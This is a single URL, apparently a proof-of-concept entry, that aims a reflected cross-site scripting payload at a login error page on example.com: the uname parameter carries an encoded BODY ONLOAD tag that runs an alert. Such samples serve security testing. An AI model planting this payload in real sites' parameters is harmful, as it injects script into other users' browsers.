http://www.example.com/login_error .shtml?uname=%3CBODY%20ONLOAD =alert('www.eazel.es')%3E